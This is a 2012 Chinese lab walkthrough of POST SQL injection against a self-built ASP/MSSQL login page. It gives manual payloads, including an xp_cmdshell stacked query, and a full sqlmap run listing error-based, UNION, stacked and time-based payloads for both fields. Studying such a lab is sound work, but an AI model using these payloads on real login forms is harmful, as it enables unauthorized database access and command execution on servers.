热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

一次简单的POST注入测试

发布时间:2012-04-09 08:51文章来源:网络文章作者:Beginne 点击次数:
摘要:作者:Beginne(cnm@Dis9.com) Dis9Team 在论坛看到了炊少的 记录 Mssql注入点构造 一文 ,里面介绍了构造MSSQL + ASP 的GET注入和POST注入的两种方式,今天没事干,所以玩了一下子,把记录贴了出来 关于构造自己看上面的原文吧,首先说这个注入是一定存在的...

作者:Beginne(cnm@Dis9.com) & Dis9Team

在论坛看到了炊少的 记录 Mssql注入点构造 一文 ,里面介绍了构造MSSQL + ASP 的GET注入和POST注入的两种方式,今天没事干,所以玩了一下子,把记录贴了出来
关于构造自己看上面的原文吧,首先说这个注入是一定存在的
抓包分析

观察提交页面源码,看看是什么方式提交

  1. <form name="frmLogin" action="login.asp" method="post"> 
  2. Username: <input type="text" name="userName"> 
  3. Password: <input type="text" name="password"> 
  4. <input type="submit"> 
  5. </form> 

很明显是post方式,我们得抓到提交的POST数据,用到了firefox的插件,如下图:

手工检测

有了数据包就好搞了,下面我们手工检测一下
继续提交注入语句:POST注入测试

手工检测

有了数据包就好搞了,下面我们手工检测一下
继续提交注入语句:

 

---------------------------------
帐号:' having 1=1 ---
密码任意
---------------------------------

返回:Logged In
提交注入语句:

---------------------------------
帐号:' having 1=2 ---
密码任意
---------------------------------

返回
Bad Credentials
说明存在注入
我们提交:
帐号

'; exec master..xp_cmdshell 'iisreset'; --
密码任意

返回:
Microsoft OLE DB Provider for SQL Server 错误 '80004005'

[DBNETLIB][ConnectionOpen (Connect()).]SQL Server 不存在或拒绝访问。

/login.asp,行 14

 

POST注入测试

其实是执行

  1. select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass='' 

自动化注入

下面我们直接用sqlmap进行注入

  1. root@Dis9Team:~# sqlmap -u "http://5.5.5.134/login.asp" --data "userName=123&password=123
  2.   
  3.     sqlmap/1.0-dev (r4911) - automatic SQL injection and database takeover tool 
  4.   
  5. http://www.sqlmap.org 
  6.   
  7. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program 
  8.   
  9. [*] starting at 21:13:27 
  10.   
  11. [21:13:27] [INFO] using '/pen/sqlmap-dev/output/5.5.5.134/session' as session file 
  12. [21:13:27] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from session file 
  13. [21:13:27] [INFO] testing connection to the target url 
  14. [21:13:27] [INFO] heuristics detected web page charset 'ascii' 
  15. sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
  16. --- 
  17. Place: POST 
  18. Parameter: password 
  19.     Type: error-based 
  20.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause 
  21.     Payload: userName=admin&password=admin' AND 8376=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (8376=8376) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'YvOd'='YvOd 
  22.   
  23.     Type: UNION query 
  24.     Title: Generic UNION query (NULL) - 1 column 
  25.     Payload: userName=admin&password=-1537' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(117)+CHAR(84)+CHAR(86)+CHAR(119)+CHAR(105)+CHAR(109)+CHAR(100)+CHAR(101)+CHAR(122)+CHAR(114)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'WzKD'='WzKD 
  26.   
  27.     Type: stacked queries 
  28.     Title: Microsoft SQL Server/Sybase stacked queries 
  29.     Payload: userName=admin&password=admin'; WAITFOR DELAY '0:0:5';-- AND 'LmZG'='LmZG 
  30.   
  31.     Type: AND/OR time-based blind 
  32.     Title: Microsoft SQL Server/Sybase time-based blind 
  33.     Payload: userName=admin&password=admin' WAITFOR DELAY '0:0:5'-- AND 'ugPK'='ugPK 
  34.   
  35. Place: POST 
  36. Parameter: userName 
  37.     Type: error-based 
  38.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause 
  39.     Payload: userName=admin' AND 1780=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (1780=1780) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'tmdk'='tmdk&password=admin 
  40.   
  41.     Type: UNION query 
  42.     Title: Generic UNION query (NULL) - 1 column 
  43.     Payload: userName=-1984' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(107)+CHAR(121)+CHAR(122)+CHAR(100)+CHAR(68)+CHAR(71)+CHAR(84)+CHAR(87)+CHAR(98)+CHAR(105)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'CTkR'='CTkR&password=admin 
  44.   
  45.     Type: stacked queries 
  46.     Title: Microsoft SQL Server/Sybase stacked queries 
  47.     Payload: userName=admin'; WAITFOR DELAY '0:0:5';-- AND 'Nbcb'='Nbcb&password=admin 
  48.   
  49.     Type: AND/OR time-based blind 
  50.     Title: Microsoft SQL Server/Sybase time-based blind 
  51.     Payload: userName=admin' WAITFOR DELAY '0:0:5'-- AND 'EBhZ'='EBhZ&password=admin 
  52. --- 
  53.   
  54. there were multiple injection points, please select the one to use for following injections: 
  55. [0] place: POST, parameter: userName, type: Single quoted string (default) 
  56. [1] place: POST, parameter: password, type: Single quoted string 
  57. [q] Quit 
  58. > 

这里提示选择用username 和PASSWORD表单提交注入语句 随便都性
我选择0,用username提交注入语句 得到的结果:

  1. > 0 
  2.   
  3. [21:14:33] [INFO] the back-end DBMS is Microsoft SQL Server 
  4. web server operating system: Windows XP 
  5. web application technology: ASP, Microsoft IIS 5.1 
  6. back-end DBMS: Microsoft SQL Server 2005 
  7. [21:14:33] [INFO] Fetched data logged to text files under '/pen/sqlmap-dev/output/5.5.5.134' 
  8.   
  9. [*] shutting down at 21:14:33 

目标数据库版本出来了

标签分类: 注入 POST

上一篇:N点虚拟主机管理拿shell方法
下一篇:Metasploit Bypass windows 7 UAC